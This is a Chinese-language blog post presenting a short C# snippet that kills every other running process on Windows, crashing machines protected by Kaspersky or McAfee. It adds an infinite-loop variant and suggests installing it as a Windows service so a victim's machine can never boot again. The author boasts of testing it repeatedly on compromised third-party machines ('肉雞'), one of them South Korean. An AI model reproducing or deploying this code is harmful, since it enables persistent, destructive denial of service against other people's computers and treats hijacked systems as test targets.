真沒想到3行純c#代碼就造成死機,竟如此容易,還是最新的卡巴麥咖啡

                try{foreach (Process p in Process.GetProcesses())
                    {try{if (p.Id != Process.GetCurrentProcess().Id)
                                p.Kill();}catch { }} }catch { }

 

這樣就能死機?沒錯這樣就能死機!

測試環境

1、winxp sp3(及所有關鍵、推薦更新)+卡巴2008最新病毒庫    虛擬機裏

2、win2003sp2(及所有關鍵、推薦更新)+今天剛裝的最新的mcafee8.7企業版+antispyware    真機裏

 

起因,今天沒事在虛擬機測試者玩就這3行代碼看看運行什麼樣的,本以爲只能退出一些無關緊要的程序+出來一些錯誤提示而已,沒想到一運行馬上藍屏就死機了,重啓虛擬機又試,結果又馬上就藍屏死機,於是我想虛擬機系統本身有幾個進程是虛擬機自帶的是不是這個kill後造成系統失敗呢,我就關上虛擬機在我的真機裏測試。今天裝的剛新出的mcafee8.7企業版,運行後系統的主題沒有了,成了經典主體了,一般系統錯誤比較嚴重的時候出現這種情況。又馬上運行一次,這次藍屏死機了。真沒想到造成死機這麼容易,也沒想到process.kill()如此的強勁,我有點肅然起敬,因爲原來我感覺.net下面封裝的類都是非常安全權限很低的,它把一些稍微危險的操作都去掉了,所以動不動就得找api的。

話說回來了,在真機裏不是馬上藍屏是第二次執行的時候藍屏的,不過這兩次執行相隔不到2秒,那麼改成這樣就行了

            while (true)
            {
                try{foreach (Process p in Process.GetProcesses())
                    {try{if (p.Id != Process.GetCurrentProcess().Id)
                                p.Kill();}catch { }} }catch { }
            }

剛剛測試,絕無瞎話,由於很興奮故上來打打字,大家有興趣可以測試一下玩玩。

 

=========================

補充上午忘了一句p.Id != Process.GetCurrentProcess().Id就是說如果是本進程id就不kill,並且死循環,一點就會馬上死機了,我在本機、虛擬機試了很多次,並在肉雞試過很多次,屢試不爽。必須要加try catch,否則當遇到不能結束的進程什麼的一報錯本程序就崩潰了。

 

如果新建一個win服務程序,並在onstart的地方寫上這段代碼,並給某機器註冊服務並啓動,那麼他的機器就再也啓不來了,因爲每次啓動還沒登陸的時候就死機了(已在某南棒肉雞上試驗)。那麼能不能通過安全模式來取消註冊,我沒敢試過不好說。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章